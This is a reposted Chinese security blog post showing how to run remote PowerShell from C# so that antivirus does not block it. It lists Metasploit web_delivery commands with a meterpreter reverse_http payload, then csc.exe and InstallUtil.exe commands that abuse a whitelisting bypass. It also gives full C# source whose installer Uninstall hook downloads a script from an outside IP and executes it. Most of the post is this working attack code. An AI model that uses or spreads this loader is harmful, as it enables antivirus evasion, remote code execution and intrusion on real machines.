c# 远程执行命令

admin 2022年5月17日04:04:56评论70 views字数 1969阅读6分33秒阅读模式

一般直接执行powershell会被大多数杀毒软件拦截,利用c# Pipeline 执行远程powershell来绕过杀毒软件

参考来源:tsscyber

1
2
3
4
5
6
7
8
use multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_http
set target 2
...
run -j
...
c:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:c:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu /out:ps.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=True /u .\ps.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
using System;
using System.Net;
using System.IO;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Management.Automation.Runspaces;


public class Program
{
public static void Main()
{
//Console.WriteLine("test");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
Mycode.Exec();
}
}
public class Mycode
{
public static void Exec()
{
WebClient client = new WebClient();
//远程执行命令
Stream stream = client.OpenRead("http://11.11.11.11/powershell.txt");
StreamReader reader = new StreamReader(stream);
String command = reader.ReadToEnd();
//Console.WriteLine(text);

//string command = System.IO.File.ReadAllText(text);
RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
rspace.Open();
Pipeline pipeline = rspace.CreatePipeline();
pipeline.Commands.AddScript(command);
pipeline.InvokeAsync();
while(pipeline.PipelineStateInfo.State == PipelineState.Running || pipeline.PipelineStateInfo.State == PipelineState.Stopping) {
System.Threading.Thread.Sleep(50);
}
Console.WriteLine("startasdfasdfasdf");

foreach (object item in pipeline.Output.ReadToEnd())
{
if(item != null) {
Console.WriteLine(item.ToString());
}
}
foreach (object item in pipeline.Error.ReadToEnd())
{
if(item != null) {
Console.WriteLine(item.ToString());
}
}
}
}

FROM :WOLVEZ'S BLOG| Author:wolve

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日04:04:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   c# 远程执行命令https://cn-sec.com/archives/1012472.html

发表评论

匿名网友 填写信息